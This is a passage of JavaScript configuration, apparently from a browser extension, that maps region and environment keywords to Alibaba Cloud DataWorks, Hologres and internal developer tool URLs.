      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-southeast-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-ap-southeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-ap-southeast-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('sydney'), 'sydney', 'syn', 'ap-southeast-2', 'ap', 'southeast', 'south', 'east', 'aus', '澳洲', '悉尼'],
    display: chrome.i18n.getMessage('sydney'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-southeast-2',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-southeast-2.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-southeast-2.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-southeast-2.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-southeast-2.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-southeast-2.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-southeast-2.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('kualaLumpur'), 'kualaLumpur', 'kuala', 'ap-southeast-3', 'ap', 'southeast', 'south', 'east', 'mala', '马来', '吉隆坡'],
    display: chrome.i18n.getMessage('kualaLumpur'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-southeast-3',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-ap-southeast-3.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-ap-southeast-3.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('jakarta'), 'jakarta', 'ap-southeast-5', 'ap', 'southeast', 'south', 'east', 'indo', '印尼', '雅加达'],
    display: chrome.i18n.getMessage('jakarta'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-southeast-5',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-ap-southeast-5.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-ap-southeast-5.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('mumbai'), 'mumbai', 'ap-south-1', 'ap', 'south', 'east', 'india', '印度', '孟买'],
    display: chrome.i18n.getMessage('mumbai'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-south-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-south-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-ap-south-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('dubai'), 'dubai', 'me', 'east', '阿联酋', '迪拜'],
    display: chrome.i18n.getMessage('dubai'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/me-east-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-me-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-me-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-me-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-me-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-me-east-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('tokyo'), 'tokyo', 'ap-northeast-1', 'ap', 'northeast', 'north', 'east', 'japan', '日本', '东京'],
    display: chrome.i18n.getMessage('tokyo'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/ap-northeast-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-ap-northeast-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-ap-northeast-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('siliconValley'), 'silicon', 'us-west-1', 'us', 'west', '美西', '美国', '硅谷'],
    display: chrome.i18n.getMessage('siliconValley'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/us-west-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-us-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-us-west-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('virginia'), 'virginia', 'us-east-1', 'us', 'east', '美东', '美国', '弗吉尼亚'],
    display: chrome.i18n.getMessage('virginia'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/us-east-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-us-east-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-us-east-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('frankfurt'), 'frankfurt', 'eu-central-1', 'eu', 'central', 'germany', '德国', '法兰克福'],
    display: chrome.i18n.getMessage('frankfurt'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/eu-central-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-eu-central-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-eu-central-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('london'), 'london', 'eu-west-1', 'eu', 'west', 'england', '英国', '伦敦'],
    display: chrome.i18n.getMessage('london'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/eu-west-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-eu-west-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-eu-west-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shanghaiFinance'), 'shanghaifinance', 'shanghaifin', 'cn-shanghai-finance-1', 'finance', 'shanghai', '上海金融云', '上海金'],
    display: chrome.i18n.getMessage('shanghaiFinance'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-shanghai-finance-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-shanghai-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-shanghai-finance-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shenzhenFinance'), 'shenzhenfinance', 'shenzhenfin', 'cn-shenzhen-finance-1', 'finance', 'shenzhen', '深圳金融云', '深圳金'],
    display: chrome.i18n.getMessage('shenzhenFinance'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-shenzhen-finance-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-shenzhen-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-shenzhen-finance-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('beijingFinance'), 'beijingfinance', 'beijingfin', 'cn-beijing-finance-1', 'finance', 'beijing', '北京金融云', '北京金'],
    display: chrome.i18n.getMessage('beijingFinance'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-beijing-finance-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-beijing-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-beijing-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-beijing-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-cn-beijing-finance-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-beijing-finance-1.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('beijingGov'), 'beijinggov', '北京政务云', '北京政', 'gov', 'beijing', 'cn-north-2-gov-1'],
    display: chrome.i18n.getMessage('beijingGov'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-north-2-gov-1',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-north-2-gov-1.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-north-2-gov-1.data.aliyun.com',
    },
  },
];

const devBizLinks = [
  {
    keywords: [chrome.i18n.getMessage('consolePre'), 'console', 'pre', '预发'],
    display: chrome.i18n.getMessage('consolePre'),
    urlMap: {
      [chrome.i18n.getMessage('dwConsole')]: 'https://pre-dataworks.console.aliyun.com',
      [chrome.i18n.getMessage('hologresConsole')]: 'https://pre-hologram.console.aliyun.com',
      [chrome.i18n.getMessage('mcConsole')]: 'https://pre-maxcompute.console.aliyun.com',
      [chrome.i18n.getMessage('paiConsole')]: 'https://pre-pai.console.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('innerPre'), 'inner', 'pre', '弹内', '预发'],
    display: chrome.i18n.getMessage('innerPre'),
    urlMap: {
      [chrome.i18n.getMessage('newDataStudio')]: 'https://pre-bff.dw.alibaba-inc.com/ide',
      [chrome.i18n.getMessage('dataStudio')]: 'https://pre-datastudio.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://pre-dmc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataService')]: 'https://pre-dataservice.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://pre-sqlx.alibaba-inc.com',
      [chrome.i18n.getMessage('dgc')]: 'https://pre-dgc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dqc')]: 'https://pre-dqc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('di')]: 'https://pre-di.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('openPlatform')]: 'https://pre-open-inner.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('model')]: 'https://pre-kimball.alibaba-inc.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://pre-holoweb.dw.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('publicLocal'), 'public', 'local', '弹外', '本地'],
    display: chrome.i18n.getMessage('publicLocal'),
    urlMap: {
      [chrome.i18n.getMessage('openPlatform')]: 'https://pre-openplatform.data.aliyun.com:8085',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('publicPre'), 'public', 'pre', '弹外', '预发'],
    display: chrome.i18n.getMessage('publicPre'),
    urlMap: {
      [chrome.i18n.getMessage('openPlatform')]: 'https://pre-openplatform.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('innerLocal'), 'inner', 'local', '弹内', '本地'],
    display: chrome.i18n.getMessage('innerLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.prod-dataservice.alibaba-inc.com:8030',
      [chrome.i18n.getMessage('dgc')]: 'https://local.prod-dgc.dw.alibaba-inc.com:8002',
      [chrome.i18n.getMessage('openPlatform')]: 'https://pre-open-inner.dw.alibaba-inc.com:8085',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('innerPreLocal'), 'inner', 'pre', 'local', '弹内', '预发', '本地'],
    display: chrome.i18n.getMessage('innerPreLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.pre-dataservice.alibaba-inc.com:8030',
      [chrome.i18n.getMessage('dgc')]: 'https://local.pre-dgc.dw.alibaba-inc.com:8002',
      [chrome.i18n.getMessage('tag')]: 'https://local.pre-dgc.dw.alibaba-inc.com:8000/tag',
      [chrome.i18n.getMessage('holoweb')]: 'https://local.pre-holoweb.dw.alibaba-inc.com:8080',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shanghaiPre'), 'shanghai', 'pre', 'shang', '上海', '预发'],
    display: chrome.i18n.getMessage('shanghaiPre'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://pre-setting-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataStudio')]: 'https://pre-ide2-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://pre-dmc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://pre-ds-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://pre-da-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://pre-dgc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://pre-dqc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://pre-di-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://pre-model-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://pre-holoweb-cn-shanghai.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shanghaiLocal'), 'shanghai', 'local', 'shang', 'local', '上海', '本地'],
    display: chrome.i18n.getMessage('shanghaiLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.prod-ds-cn-shanghai.data.aliyun.com:8030',
      [chrome.i18n.getMessage('dgc')]: 'https://local.prod-dgc-cn-shanghai.data.aliyun.com:8002',
      [chrome.i18n.getMessage('tag')]: 'https://local.prod-dgc-cn-shanghai.data.aliyun.com:8000/tag',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shanghaiPreLocal'), 'shanghai', 'pre', 'local', 'shang', '上海', '预发', '本地'],
    display: chrome.i18n.getMessage('shanghaiPreLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.pre-ds-cn-shanghai.data.aliyun.com:8030',
      [chrome.i18n.getMessage('dgc')]: 'https://local.pre-dgc-cn-shanghai.data.aliyun.com:8002',
      [chrome.i18n.getMessage('tag')]: 'https://local.pre-dgc-cn-shanghai.data.aliyun.com:8000/tag',
      [chrome.i18n.getMessage('holoweb')]: 'https://local.pre-holoweb.data.aliyun.com:8080',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('hangzhouPre'), 'hangzhou', 'pre', 'hang', '杭州', '预发'],
    display: chrome.i18n.getMessage('hangzhouPre'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://pre-vpc-ds-cn-hangzhou.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('hangzhouPreLocal'), 'hangzhou', 'pre', 'local', 'hang', '杭州', '预发', '本地'],
    display: chrome.i18n.getMessage('hangzhouPreLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.pre-ds-cn-hangzhou.data.aliyun.com:8030',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('beijingPre'), 'beijing', 'bei', 'pre', '北京', '预发'],
    display: chrome.i18n.getMessage('beijingPre'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://pre-vpc-ds-cn-beijing.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('beijingPreLocal'), 'beijing', 'pre', 'local', 'bei', '北京', '预发', '本地'],
    display: chrome.i18n.getMessage('beijingPreLocal'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://local.pre-ds-cn-beijing.data.aliyun.com:8030',
    },
  },
  // 其他
  {
    keywords: [chrome.i18n.getMessage('onebox'), 'onebox'],
    display: chrome.i18n.getMessage('onebox'),
    urlMap: {
      [chrome.i18n.getMessage('newDataStudioPlugins')]: 'https://bear.onebox.alibaba-inc.com/#/projects/559',
      [chrome.i18n.getMessage('dataStudio')]: 'https://bear.onebox.alibaba-inc.com/#/projects/207',
      [chrome.i18n.getMessage('dataService')]: 'https://bear.onebox.alibaba-inc.com/#/projects/158',
      [chrome.i18n.getMessage('dataMap')]: 'https://bear.onebox.alibaba-inc.com/#/projects/167',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://bear.onebox.alibaba-inc.com/#/projects/177',
      [chrome.i18n.getMessage('di')]: 'https://bear.onebox.alibaba-inc.com/#/projects/204',
      [chrome.i18n.getMessage('dgc')]: 'https://bear.onebox.alibaba-inc.com/#/projects/472',
      [chrome.i18n.getMessage('dqc')]: 'https://bear.onebox.alibaba-inc.com/#/projects/119',
      [chrome.i18n.getMessage('model')]: 'https://bear.onebox.alibaba-inc.com/#/projects/506',
      [chrome.i18n.getMessage('holoweb')]: 'https://bear.onebox.alibaba-inc.com/#/projects/293',
      [chrome.i18n.getMessage('commonHeader')]: 'https://bear.onebox.alibaba-inc.com/#/projects/41',
      [chrome.i18n.getMessage('oneboxProjects')]: 'https://onebox.alibaba-inc.com/#/list',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('oneboxPrivateEnvLink'), 'onebox-private', 'private'],
    display: chrome.i18n.getMessage('oneboxPrivateEnvLink'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://bear.onebox.alibaba-inc.com/#/private-cloud?product_line=dataworks',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('ued'), 'ued', 'design'],
    display: chrome.i18n.getMessage('ued'),
    urlMap: {
      [chrome.i18n.getMessage('dgc')]: 'https://mgdone.alibaba-inc.com/file/112913719891129',
      [chrome.i18n.getMessage('dataService')]: 'https://mgdone.alibaba-inc.com/file/105221205609020',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('prd'), 'prd'],
    display: chrome.i18n.getMessage('prd'),
    urlMap: {
      [chrome.i18n.getMessage('dgc')]: 'https://aliyuque.antfin.com/dataworks/dybyo0',
      [chrome.i18n.getMessage('dataService')]: 'https://aliyuque.antfin.com/dataworks/utwtnt',
    },
  },
];

// 支持 common 定义
const devLinks = [
  {
    keywords: ['dcd'],
    display: chrome.i18n.getMessage('dcdLink'),
    urlMap: {
      [chrome.i18n.getMessage('uiCommand')]: 'https://dcd.alibaba-inc.com/?env=prod#/help-doc/1-6#%E6%B3%A8%E5%86%8C%E4%BF%A1%E6%81%AF',
      [chrome.i18n.getMessage('uiPalette')]: 'https://dcd.alibaba-inc.com/?env=prod#/palette',
      [chrome.i18n.getMessage('uiIcon')]: 'https://dcd.alibaba-inc.com/?env=prod#/icon-search',
      [chrome.i18n.getMessage('dcdHome')]: 'https://dcd.alibaba-inc.com',
    },
  },
  {
    keywords: ['aem'],
    display: chrome.i18n.getMessage('aem'),
    urlMap: {
      [chrome.i18n.getMessage('dwConsole')]: ' https://aem.alibaba-inc.com/project/a2c1h.11154984/page/board',
      [chrome.i18n.getMessage('dataWorks')]: 'https://aem.alibaba-inc.com/project/combo_2Nnc4W/page/board',
      [chrome.i18n.getMessage('dataMap')]: 'https://aem.alibaba-inc.com/project/only-datamap/page/board',
      [chrome.i18n.getMessage('dataService')]: 'https://aem.alibaba-inc.com/project/data-service-studio.project/page/board',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://aem.alibaba-inc.com/project/dataworks-webexcel/page/board',
      [chrome.i18n.getMessage('dgc')]: 'https://aem.alibaba-inc.com/project/data-governance-center/page/board',
      [chrome.i18n.getMessage('holoweb')]: 'https://aem.alibaba-inc.com/project/holoweb/page/board',
      [chrome.i18n.getMessage('aemHome')]: 'https://aem.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('mds'), 'mds'],
    display: chrome.i18n.getMessage('mds'),
    urlMap: {
      [chrome.i18n.getMessage('dataService')]: 'https://mds-portal.alibaba-inc.com/applications/detail?appName=only-dataservice&appId=868001',
      [chrome.i18n.getMessage('dataStudio')]: 'https://mds-portal.alibaba-inc.com/applications/detail?appName=data-works-datastudio&appId=605001',
      [chrome.i18n.getMessage('dgc')]: 'https://mds-portal.alibaba-inc.com/applications/detail?appName=data-governance-center&appId=4250001',
      [chrome.i18n.getMessage('holoweb')]: 'https://mds-portal.alibaba-inc.com/applications/detail?appName=holoweb&appId=2004001',
      [chrome.i18n.getMessage('mdsHome')]: 'https://mds-portal.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('code'), 'code'],
    display: chrome.i18n.getMessage('code'),
    urlMap: {
      common: 'https://code.alibaba-inc.com/__var1__',
      [chrome.i18n.getMessage('newDataStudioPlugins')]: 'https://code.alibaba-inc.com/alishu/vscode-datastudio-extensions',
      [chrome.i18n.getMessage('dataStudio')]: 'https://code.alibaba-inc.com/alishu/datastudio',
      [chrome.i18n.getMessage('dataService')]: 'https://code.alibaba-inc.com/alishu/only-dataservice',
      [chrome.i18n.getMessage('dataMap')]: 'https://code.alibaba-inc.com/alishu/only-datamap',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://code.alibaba-inc.com/alishu/only-excel',
      [chrome.i18n.getMessage('di')]: 'https://code.alibaba-inc.com/alishu/xstudio-di',
      [chrome.i18n.getMessage('dgc')]: 'https://code.alibaba-inc.com/alishu/data-governance-center',
      [chrome.i18n.getMessage('holoweb')]: 'https://code.alibaba-inc.com/alishu/only-holoweb',
      [chrome.i18n.getMessage('commonHeader')]: 'https://code.alibaba-inc.com/alishu/dataworks-common-header',
      [chrome.i18n.getMessage('codeHome')]: 'https://code.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('aone'), 'aone'],
    display: chrome.i18n.getMessage('aone'),
    urlMap: {
      common: 'https://aone.alibaba-inc.com/v2/req/__var1__',
      [chrome.i18n.getMessage('dataService')]: 'https://project.aone.alibaba-inc.com/projects/786390',
      [chrome.i18n.getMessage('dgc')]: 'https://project.aone.alibaba-inc.com/projects/1095520',
      [chrome.i18n.getMessage('aoneHome')]: 'https://aone.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('anpm'), 'anpm'],
    display: chrome.i18n.getMessage('anpm'),
    urlMap: {
      common: 'https://anpm.alibaba-inc.com/package/__var1__',
      [chrome.i18n.getMessage('anpmHome')]: 'https://anpm.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('npm'), 'npm'],
    display: chrome.i18n.getMessage('npm'),
    urlMap: {
      common: 'https://www.npmjs.com/package/__var1__',
      [chrome.i18n.getMessage('npmHome')]: 'https://www.npmjs.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('github'), 'github', 'git'],
    display: chrome.i18n.getMessage('github'),
    urlMap: {
      common: 'https://github.com/__var1__',
      [chrome.i18n.getMessage('alibaba')]: 'https://github.com/alibaba',
      [chrome.i18n.getMessage('aliyun')]: 'https://github.com/aliyun',
